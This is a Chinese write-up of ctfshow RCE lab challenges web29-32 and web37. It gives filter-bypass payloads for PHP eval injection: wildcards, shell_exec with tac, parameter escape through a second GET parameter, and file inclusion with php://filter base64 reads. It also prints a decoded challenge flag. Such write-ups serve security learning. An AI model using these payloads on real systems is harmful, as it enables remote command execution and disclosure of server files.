首页 > 其他分享 >RCE——web29-32,web37

RCE——web29-32,web37

时间:2024-12-08 14:12:01浏览次数:2  
标签:web29 web 32 web37 flag 过滤 RCE php 这道题

web 29

image
过滤掉了flag关键字
image
让我们先来看看都有什么文件
image
很明显flag应该就在flag.php文件中,但是本题过滤掉了flag,那我们就用通配符
image

web 30

image
这道题相比上一道过滤的就比较多了
image
可以用shell_exec这个函数来代替system,再搭配上通配符的使用
命令为:

echo shell_exec('tac fla.ph');
image

web 31

image

image
看到这里,感觉前两道题的关键语句基本上都有被过滤掉,这里就要使用另外一个东西了:参数逃逸,构造一个新的参数,而这个新的参数是没有任何过滤的

eval($_GET[1]);&1=system('tac flag.php');

image

web 32

image

这道题比上一道过滤的都还要多的多,可以尝试对语句进行编码
image
同样这里也用到了伪协议
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmE0NTM4ZWMtNGNiMS00ZDlkLWI5Y2YtYzNkODYyZTcxZGFmfSI7DQo

进行解码就可以了
image
上一道题的解法参数逃逸,这道题中无法使用因为已经过滤了分号,配合文件包含和伪协议
image

web 37

image

image
文件包含语句
image

image

标签:web29,web,32,web37,flag,过滤,RCE,php,这道题
From: https://www.cnblogs.com/YangSIY/p/18588153

相关文章

  • 【AI学习笔记3】神经元、神经网路与感知机 Neuron、Neural Network and Perceptron
    一、从生物神经元到人工神经网络    每个神经元细胞都向外伸出许多分支,其中用来接收输入的分支称作树突(dendrites),用来输出信号的分支称作轴突(axon),轴突连接到树突上形成一个突触(synapse)。每个神经元可以通过这种方式连接多个其他神经元,每个神经元也可以接受多个其他......
  • 深入理解 Java 的 try-with-resources 语句:简化资源管理,避免资源泄漏
    深入理解Java的try-with-resources语句:简化资源管理,避免资源泄漏引言在Java编程中,资源管理是一个重要且常见的任务。无论是文件操作、数据库连接,还是网络通信,都需要确保资源在使用完毕后被正确释放,以避免资源泄漏和系统性能下降。Java7引入的try-with-resources语句为......
  • WPF Image Image.Source DrawingImage DrawingGroup ImageDrawing
    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingSystem.Windows;usingSystem.Windows.Controls;usingSystem.Windows.Data;usingSystem.Windows.Documents;usingSystem.Windows.Input;......
  • WPF Image Image.Source DrawingImage DrawingImage.Drawing DrawingGroup ImageDrawi
    <Windowx:Class="WpfApp57.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.microsoft.......
  • Codeforces Round 991 (Div. 3)
    CodeforcesRound991(Div.3)2024.12.6rank1559rating1314->1381A模拟B给定一数组,你可以任意操作:a[i-1]+1&&a[i+1]-1或者a[i-1]-1&&a[i+1]+1。问是否可以使数组全为相同的数字。C给定一大数,可任意将2->4,3->9,问是否可被9整除。D给定一大数,你可任意操作:将某......
  • Codeforces Round 991 (Div. 3)
    CodeforcesRound991(Div.3)2024.12.6rank1559rating1314->1381A模拟B给定一数组,你可以任意操作:a[i-1]+1&&a[i+1]-1或者a[i-1]-1&&a[i+1]+1。问是否可以使数组全为相同的数字。C给定一大数,可任意将2->4,3->9,问是否可被9整除。D给定一大数,你可任意操作......
  • Audio source的两种获取
    对于unity中获取音频的方法:audioSource=gameObject.AddComponent<AudioSource>();和audioSource=GetComponent<AudioSource>(); 方法说明方法audioSource=gameObject.AddComponent<AudioSource>()动态添加一个新的AudioSource组件到当前对象上当前对象没有Audi......
  • Source Insight 导入linux内核源码
    参考https://www.cnblogs.com/joezh/p/13894145.html用法将脚本中的ABS_PATH="D:/si_code/linux-6.12/"路径换成在windows上可以访问的路径将源码完整编译一遍在源码目录下执行下面的脚本即可,最后会在当前目录下生成文件si_filelist_ARCH.txt,其中包含的是需要导入的文件列......
  • Codeforces Round 991 (Div. 3)
    复盘ing,b题由于细节wa许久,a题又是熟悉的逻辑错误,c题倒是相对轻松地ac了,d题两小时甚至来不及看......复盘后觉得d题有可做空间,随缘更新吧......
  • 详细介绍 NVIDIA GeForce RTX 系列,各显卡配置参数(长期更新 - 2024.12)
    NVIDIAGeForceRTX系列是NVIDIA面向消费级市场的高性能GPU产品线,注重提供高性能的图形处理能力和游戏特性。主要面向游戏玩家和普通用户,同时也被广泛用于深度学习推理和训练等计算密集型任务。主要GPU产品有:50Series、40Series、30Series、20Series、10Seri......